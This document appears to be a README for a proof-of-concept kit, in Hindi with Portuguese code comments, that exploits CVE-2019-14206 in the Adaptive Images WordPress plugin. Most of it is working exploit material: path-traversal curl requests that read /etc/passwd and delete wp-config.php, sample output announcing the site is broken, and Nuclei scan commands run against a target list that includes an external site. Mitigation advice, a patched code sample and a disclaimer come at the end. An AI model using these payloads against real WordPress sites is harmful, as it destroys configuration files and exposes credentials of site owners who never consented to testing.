
CVE-ID: CVE-2019-14206
गंभीरता: उच्च (CVSS 6.5)
प्रभावित प्लगिन: Adaptive Images for WordPress
प्रभावित संस्करण: < 0.6.67
यह भेद्यता एक दूरस्थ और बिना प्रमाणीकरण वाले हमलावर को Adaptive Images प्लगिन का शोषण करके WordPress सर्वर पर मनमानी फ़ाइलें विलोपित करने की अनुमति देती है।
// O plugin usa input do usuário SEM sanitização
$settings = $_REQUEST['adaptive-images-settings'];
// Constrói caminho de arquivo com parâmetros controlados pelo atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// DELETA arquivo arbitrário
unlink($cache_file);
# Verificar Nuclei
nuclei --version
# Verificar Bash
bash --version
# Verificar curl
curl --version
# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP não disponível (opcional)"
# Se estiver no diretório nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# Ou baixe os arquivos necessários
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Verificar se os arquivos existem
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
संपूर्ण शोषण का अनुकरण करने वाला पूर्ण डेमो चलाएँ:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
क्या होता है:
अपेक्षित आउटपुट:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Se Docker estiver rodando
docker-compose up -d
# Se Docker NÃO estiver rodando, use o simulador
./docker-test-full.sh
# O ambiente estará disponível em
# http://localhost:8888
# Verificar se o script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Teste LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Teste File Deletion
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar se wp-config.php foi deletado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Criar arquivo de alvos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Scan básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Scan detalhado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Scan com debug (OBRIGATÓRIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Salvar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Ver resultados
cat results.txt
# Resultados positivos terão:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Tentar ler /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Tentar ler wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
अपेक्षित परिणाम (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Verificar se wp-config.php existe ANTES
ls -la wp-config.php
# Executar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar se wp-config.php foi deletado DEPOIS
ls -la wp-config.php
अपेक्षित परिणाम (फ़ाइल विलोपन):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Remover ambiente Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# Remover arquivos de teste
rm -rf docker-test/
rm -f targets.txt results.txt
# Restaurar wp-config.php se foi deletado
cat > wp-config.php << 'EOF'
<?php
// Arquivo restaurado
define('DB_NAME', 'wordpress');
EOF
# Remover resultados de scan
rm -f results.txt
# Limpar cache (opcional)
nuclei -rm-cache
# Instalar Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Ou baixar binário
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# Verificar se arquivo existe
ls -la http/cves/2019/CVE-2019-14206.yaml
# Verificar sintaxe YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# Usar caminho absoluto
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# Verificar porta
lsof -i :8888
# Usar porta diferente
php -S localhost:9999
# Verificar PHP instalado
which php
php --version
# Verificar status Docker
docker ps
# Iniciar Docker
# No macOS: Abrir Docker Desktop
# No Linux: sudo systemctl start docker
# Usar modo simulador (funciona sem Docker)
./docker-test-full.sh
प्लगिन अद्यतन करें:
Painel WordPress > Plugins > Atualizar Adaptive Images
सुरक्षित संस्करण: >= 0.6.67
भेद्य प्लगिन हटाएँ:
rm -rf wp-content/plugins/adaptive-images/
// ✅ CÓDIGO SEGURO (Exemplo de correção)
function adaptive_images_script_get_settings() {
// Sanitizar input
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// Validar caminhos
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // Recusar caminhos inválidos
}
// Usar caminhos absolutos validados
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
यह सामग्री विशेष रूप से शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है।
लेखक और योगदानकर्ता निम्नलिखित के लिए कोई ज़िम्मेदारी नहीं लेते:
यदि आपको यह भेद्यता वास्तविक सिस्टम पर मिलती है:
यह प्रोजेक्ट प्रदर्शित करता है:
योगदान का स्वागत है! योगदान करने के लिए:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)संदेह या समस्याओं के लिए:
🎉 इस परीक्षण सामग्री का उपयोग करने के लिए धन्यवाद!
याद रखें: जितनी बड़ी शक्ति, उतनी बड़ी ज़िम्मेदारी। इस ज्ञान का उपयोग इंटरनेट को अधिक सुरक्षित बनाने के लिए करें, अधिक भेद्य नहीं।
निर्मित: 4 जनवरी 2026
संस्करण: 1.0.0
स्थिति: ✅ उत्पादन उपयोग के लिए तैयार